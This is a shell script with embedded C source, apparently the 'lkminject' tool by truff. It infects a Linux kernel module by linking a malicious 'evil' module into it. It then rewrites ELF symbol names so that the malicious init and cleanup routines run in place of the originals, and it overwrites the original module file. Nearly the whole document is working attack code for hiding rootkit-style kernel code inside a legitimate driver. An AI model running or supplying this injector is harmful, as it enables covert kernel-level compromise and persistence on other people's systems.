#!/bin/sh                                                                   
#############################################################################
# lkminject by truff (truff@projet7.org)                                    #
#                                                                           #
# Injects a Linux lkm into another one.                                     #
#                                                                           #
# Usage:                                                                    #
# ./lkminfect.sh original_lkm.o evil_lkm.c                                  #
#                                                                           #
# Notes:                                                                    #
# 1/ Fucking script kiddies Quits here and rm lkminject.sh                  #
# 2/ el8 pepople have to do minor changes in the code of the lkm to be      #
#    injected :                                                             #
#    * In the init_module code, you have to insert this line, just after    #
#      variables init:                                                      #
#      back_module ();                                                      #
#                                                                           #
#    * In the cleanup_module code, you have to insert this line, just after #
#      variables init:                                                      #
#      frontup_module ();                                                   #
#                                                                           #
#      http://www.projet7.org                  - Security Researchs -       #
#############################################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm 
# if needed. Sometimes a make is needed.
cc -O2 -c $2

ld -r $1 $(basename $2 .c).o -o evil.o


cat > elfstrchange.c << __EOF__
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, 
    char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab,
    char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
    Elf32_Shdr *strtable, char *res, size_t len);


int main (int argc, char **argv)
{
  int i;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  int len = 0;
  char *string;

  if ((fd = fopen (argv[1], "r+")) == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  ElfGetSectionByName (fd, &hdr, ".symtab", &symtab);
  ElfGetSectionByName (fd, &hdr, ".strtab", &strtab);

  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);

  printf ("OK =========> 0x%x\n", symoffset);
  
  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");
  
  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab,
    char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;

  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET);
    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");
    
    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name, 
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
    {
      printf ("##>> %s\n", name);
      return offset;
    }
  }
  
  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, 
    Elf32_Shdr *shdr)
{
  fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET);
  
  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}
  

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
  
  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET);
    
    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");
    
    ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name));
    if (!strcmp (name, section))
    {
      printf ("---> %s\n", name);
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  int i = 0;
  
  fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET);
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
    Elf32_Shdr *strtable, char *res, size_t len)
{
  int i = 0;
  
  fseek (fd, strtable->sh_offset + sym_name, SEEK_SET);
  
  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }
  
  return (strtable->sh_offset + sym_name);
}
    
__EOF__

cc -o elfstrchange elfstrchange.c

./elfstrchange evil.o init_module back_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module frontup_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

